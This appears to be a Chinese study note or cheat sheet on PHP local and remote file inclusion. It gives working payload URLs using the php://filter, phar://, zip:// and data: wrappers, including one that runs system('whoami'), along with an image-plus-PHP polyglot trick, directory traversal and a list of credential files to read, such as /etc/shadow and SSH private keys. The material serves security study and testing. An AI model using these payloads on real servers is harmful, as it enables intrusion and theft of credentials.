参考文献：https://www.anquanke.com/post/id/86123
制作图种：
copy 1.png/b+1.php/a 2.png
/b：以二进制打开。用于图像类/声音类文件
/a：以ascii打开。用于txt文档类文件
php中引发文件包含漏洞的函数：
①.include()
②.include_once()
③.require()
④.require_once()
LFI(Local File Inclusion)：
用include()的时候，出错的话，只会提出警告，会继续执行下面语句。
用require()的时候，出错的话，会提出警告，不会继续执下面语句。
require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了，则 require_once() 和 include_once() 则不会再包含它，以避免函数重定义或变量重赋值等问题。
当利用这四个函数来包含文件时，不管文件是什么类型（图片、txt等等），都会直接作为php文件进行解析。（1.txt为同目录下的一个文件，内容<? php info(); ?>）
RFI(Remote File Inclusion)
远程文件包含漏洞，是指能够包含远程服务器上的文件并执行，远程服务器的文件是我们可控的。
在php.ini中，allow_url_fopen默认一直是On，而allow_url_include从php5.2之后就默认为Off。
php://input：allow_url_include = On，对allow_url_fopen不做要求。
php://filter：没有要求。
/1.php?filename= php://filter/read=convert.base64-encode/resource=1.php
/1.php?filename= php://filter/convert.base64-encode/resource=1.php//可绕read，通过指定末尾的文件，可以读取经base64加密后的文件源码，之后再base64解码一下就行。
phar://：php版本大于等于php5.3.0（相对路径或绝对路径都可以）
/1.php?filename=phar://1.zip/1.txt #1.zip为1.txt的压缩文件，1.txt内容不变
/1.php?filename=phar://G:/wamp/www/filebaohan/1.zip/1.txt
zip://php：版本大于等于php5.3.0，需要指定绝对路径，同时将#编码为%23，之后填上压缩包内的文件，适用于验证包含文件为特定后缀时。
/1.php?filename=zip://G:/wamp/www/filebaohan/1.zip%231.txt
/2.php?file= zip://G:/wamp/www/filebaohan/1.zip%231.jpg
其实感觉这个挺鸡肋的，要是能找到文件的绝对路径，直接上菜刀多好了。。。
data:URI schema：php版本大于等于php5.2，allow_url_fopen = On，allow_url_include = On
/1.php?filename=data:text/plain,%3C?php%20phpinfo();?%3E
/1.php?filename=data:text/plain,%3C?php%20system(%22whoami%22);?%3E
/1.php?filename=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b #加号+的url编码为%2b，PD9waHAgcGhwaW5mbygpOz8+的base64解码为：<?php phpinfo();?>，可以将需要的内容base64加密，然后用这个命令执行。
apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf或者/etc/init.d/httpd
还可以使用"../../../"这样的方式来返回到上层目录中，这种方式又被称为"目录遍历，还可以通过不同的编码方式来绕过一些服务器端的防御逻辑
敏感文件：
1、Windows：
C:boot.ini //查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件
C:Windowsrepairsam //存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windowsphp.ini //php配置信息
C:Windowsmy.ini //Mysql配置信息
2、Linux：
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
